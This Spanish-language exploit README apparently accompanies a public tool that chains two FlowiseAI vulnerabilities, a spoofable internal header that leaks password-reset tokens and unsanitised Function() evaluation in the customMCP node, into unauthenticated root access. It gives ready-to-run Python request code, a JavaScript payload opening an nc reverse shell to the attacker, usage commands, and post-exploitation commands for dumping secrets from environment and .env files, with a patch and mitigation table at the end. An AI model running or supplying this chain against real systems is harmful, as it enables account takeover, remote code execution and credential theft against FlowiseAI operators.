
Cadena de ataque crítica no autenticada que conduce a RCE completo en FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Toma de control de cuenta no autenticada encadenada con ejecución remota de código contra FlowiseAI
<= 3.0.5.
Compromiso completo del contenedor en menos de 5 segundos, sin necesidad de credenciales.
Izquierda: página de inicio de sesión de FlowiseAI — Derecha: shell de root mediante CVE-2025-59528 · uid=0(root)
Este exploit encadena dos vulnerabilidades críticas independientes en un único ataque completamente automatizado. Ninguna de las dos vulnerabilidades garantiza por sí sola el compromiso total, pero juntas forman una cadena de ataque completa desde cero credenciales hasta una shell de root dentro de un contenedor Docker.
[Sin credenciales]
│
▼
① Abusar del endpoint de olvido de contraseña (sin autenticación requerida)
│ → El servidor responde con el token de restablecimiento de la víctima en texto plano
▼
② Enviar el token al endpoint de restablecimiento de contraseña
│ → El atacante controla la contraseña del administrador
▼
③ Iniciar sesión + obtener la clave API Bearer
│ → Sesión autenticada completa establecida
▼
④ Enviar payload JavaScript a través del nodo customMCP
│ → El servidor lo evalúa mediante el constructor Function()
▼
[Shell de root dentro del contenedor Docker]
Lo que lo hace de interacción cero: en ningún momento la víctima recibe un correo electrónico, ve una alerta de inicio de sesión o desencadena ningún evento visible. El ataque es completamente del lado del servidor.
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5 (cloud + autogestionado)
Aviso: GHSA-wgpv-6j63-x5ph
FlowiseAI tiene un concepto de solicitudes "internas": llamadas API realizadas entre sus propios servicios, identificadas por el encabezado HTTP x-request-from: internal. El endpoint /api/v1/account/forgot-password utiliza este encabezado para omitir la autenticación por completo y devolver una respuesta diferente y más verbose que la que daría a los solicitantes externos.
El problema: este encabezado no se valida ni restringe de ninguna manera. Cualquier atacante en Internet puede enviarlo. Cuando lo hace, en lugar de desencadenar un correo electrónico de restablecimiento de contraseña, la API responde con el registro completo del usuario, incluido un tempToken activo que se puede usar inmediatamente para establecer una nueva contraseña.
Normalmente, un flujo de restablecimiento de contraseña se ve así:
Usuario solicita restablecimiento → Servidor genera token → Token enviado por CORREO ELECTRÓNICO → Usuario hace clic en el enlace → Contraseña cambiada
Aquí, el servidor omite el paso del correo electrónico por completo y coloca el token directamente en el cuerpo de la respuesta HTTP. El atacante lo captura y pasa directamente al paso de restablecimiento, sin necesidad de acceso al correo electrónico.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201: registro completo del usuario expuesto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Luego, el tempToken se envía directamente al endpoint de restablecimiento, sin interacción por correo electrónico, sin CAPTCHA, sin límite de velocidad.

CVSS 3.1: 10.0 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5
Aviso: GHSA-3gcm-f6qx-ff7p
FlowiseAI permite a los usuarios definir nodos MCP (Model Context Protocol) personalizados con la configuración del servidor proporcionada como una cadena JSON. Internamente, la plataforma necesita analizar esta configuración y lo hace utilizando el constructor Function() de JavaScript, que es funcionalmente equivalente a eval().
La cadena de configuración llega al sumidero completamente sin sanitizar:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — línea 262
const result = Function('return ' + mcpServerConfig)();
// ↑ entrada de usuario sin sanitizar — ejecución arbitraria de JS
Function() es tan peligroso como eval()Function('return ' + code)() hace lo siguiente:
code como su cuerpoEsto le da al atacante un contexto completo de ejecución de JavaScript con acceso a process, require, child_process y todo el runtime de Node.js, no un sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← cadena controlada por el atacante
└─ substituteVariablesInString() ← sin filtrado, pasa directo
└─ convertToValidJSONString() ← sin filtrado, pasa directo
└─ Function('return ' + input)() ← código arbitrario se ejecuta aquí
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
¿Por qué
mkfifoy no/dev/tcp?
El contenedor ejecuta/bin/sh, no/bin/bash./dev/tcpes una característica exclusiva de bash; no existe en shells POSIX estándar.mkfifocrea un pipe con nombre que funciona en cualquier shell compatible con POSIX, lo que hace que la shell inversa sea portátil entre entornos de contenedores.
El exploit está estructurado en cuatro pasos secuenciales, cada uno correspondiente directamente a una fase de la cadena de ataque.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
Qué sucede: El servidor cree que esta es una llamada interna de servicio a servicio debido al encabezado x-request-from: internal. Omite la ruta normal de envío de correo electrónico y devuelve el registro completo del usuario, incluido un token de restablecimiento de contraseña activo, directamente en el cuerpo de la respuesta HTTP 201.
Por qué funciona: La verificación del encabezado es puramente basada en cadenas sin verificación criptográfica. Cualquier llamante puede establecerlo. El backend no valida el origen de la solicitud.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
Qué sucede: El tempToken robado se envía junto con una nueva contraseña elegida por el atacante. El servidor valida el token (que es real y está activo), confirma que el correo electrónico coincide y actualiza el hash de la credencial; sin confirmación por correo electrónico, sin verificación secundaria.
Por qué funciona: La validación del token solo verifica que el token exista y no haya expirado. No verifica que el llamante que generó el token sea el mismo que envía el restablecimiento. La propiedad nunca se verifica.
# Iniciar sesión con la nueva contraseña
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Obtener la clave API Bearer necesaria para el endpoint de RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
Qué sucede: Un inicio de sesión normal con la nueva contraseña del atacante establece una sesión de administrador completa (basada en cookies). Luego, la sesión se usa para obtener la clave API predeterminada de la plataforma, que es necesaria para autenticar las solicitudes al endpoint node-load-method utilizado en el paso 4.
Por qué funciona: En este punto, el atacante ES el administrador: posee las credenciales. La sesión y la clave API son emitidas legítimamente por el servidor.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
Qué sucede: El payload es una función JavaScript autoinvocada (IIFE) disfrazada de objeto compatible con JSON. Cuando convertToValidJSONString() lo procesa, el valor termina dentro de Function('return ' + input)(), que lo ejecuta como JavaScript en vivo con acceso completo al runtime de Node.js. child_process.exec() ejecuta el comando de shell inversa, estableciendo una conexión de vuelta al oyente del atacante.
¿Por qué el envoltorio IIFE? El patrón Function('return ' + x) espera que la expresión se pueda devolver. Envolver el código malicioso en ({x: (function(){ ... })()}) hace que toda la expresión sea JavaScript válido que se evalúa como un objeto, satisfaciendo al analizador mientras ejecuta el payload como efecto secundario.
¿Por qué nohup + disown? La solicitud HTTP tiene un tiempo de espera. Sin desvincular el proceso, la shell moriría cuando la solicitud agote el tiempo. nohup + disown separa la shell inversa del proceso Node.js, manteniéndola viva de forma independiente.
# 1. Iniciar el oyente primero
nc -lvnp 4444
# 2. Ejecutar la cadena de ataque completa
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. Si la contraseña de administrador ya fue restablecida en un intento anterior
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
Una vez que la shell se conecta, el contenedor normalmente se ejecuta como root con acceso al entorno completo de la aplicación FlowiseAI:
# Secretos y credenciales
env # Claves API, URIs de BD, credenciales de servicios en variables de entorno
cat .env # Archivo de configuración de FlowiseAI — contraseñas de BD, secretos JWT
# Internos de la aplicación
ls /app/packages/ # Estructura del monorepo — código fuente, configuraciones, node_modules
cat /app/packages/server/.env
# Contexto del contenedor
cat /proc/1/cmdline # Qué proceso es PID 1 — confirma entorno de contenedor
hostname # ID del contenedor
cat /etc/hosts # Mapa de red interna — otros servicios alcanzables
# Candidatos para movimiento lateral
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Este repositorio y todo el código asociado se publican estrictamente con fines educativos y de investigación de seguridad autorizada.
Ambas vulnerabilidades están divulgadas públicamente y parcheadas a partir de FlowiseAI 3.0.6. Probar contra sistemas que no posee o para los cuales no tiene autorización explícita por escrito es ilegal según la legislación aplicable, incluida, entre otras, la Ley de Fraude y Abuso Informático (CFAA), la Ley de Uso Indebido de Computadoras y la Directiva NIS2 de la UE.
Los autores no aceptan ninguna responsabilidad por cualquier daño resultante del mal uso de este material.
0H4K3D · CVE Team
| Propiedad | Detalles |
|---|
| No se requieren credenciales | El atacante comienza sin nada más que una IP objetivo |
| Interacción cero con la víctima | Sin phishing, sin clics, sin ingeniería social |
| Sin límite de velocidad | El endpoint de restablecimiento no tiene limitación: se puede forzar por fuerza bruta si es necesario |
| Sin CAPTCHA | El flujo de restablecimiento no tiene verificación humana |
| Sin confirmación por correo electrónico | El cambio de contraseña es inmediato, silencioso, irreversible |
| Runtime completo de Node.js en RCE | child_process, sistema de archivos, red: sin sandbox |
| Se ejecuta como root en Docker | El contenedor normalmente se inicia como root, acceso completo al sistema de archivos |
| Afecta cloud + autogestionado | Cualquier implementación de <= 3.0.5 es vulnerable |
| Flag | Descripción | Requerido |
|---|
-ip | Dirección IP del objetivo | ✅ |
-lhost | Su IP para la llamada de la shell inversa | ✅ |
-lport | Su puerto de escucha | ✅ |
--skipreset | Omitir CVE-2025-58434 (fases 1 y 2) — usar si la cuenta ya está comprometida | ❌ |
| Solución | Prioridad |
|---|
Actualizar a FlowiseAI ≥ 3.0.6 | 🔴 Inmediata |
Bloquear x-request-from: internal en el proxy inverso — nunca debería venir de Internet | 🔴 Inmediata |
Restringir /api/v1/account/* solo a sesiones autenticadas | 🔴 Inmediata |
Sanitizar mcpServerConfig — nunca pasar entrada de usuario a Function() o eval() | 🔴 Inmediata |
| Agregar límite de velocidad y CAPTCHA a todos los endpoints de restablecimiento de contraseña | 🔴 Inmediata |
| Aislar la instancia de FlowiseAI de Internet si no se requiere exposición pública | 🟠 Alta |
| Ejecutar el contenedor como un usuario no root | 🟠 Alta |
| Habilitar detección de anomalías en los endpoints de restablecimiento de contraseña y MCP | 🟡 Media |
Auditar todos los endpoints que aceptan x-request-from y verificar que no puedan ser llamados externamente | 🟡 Media |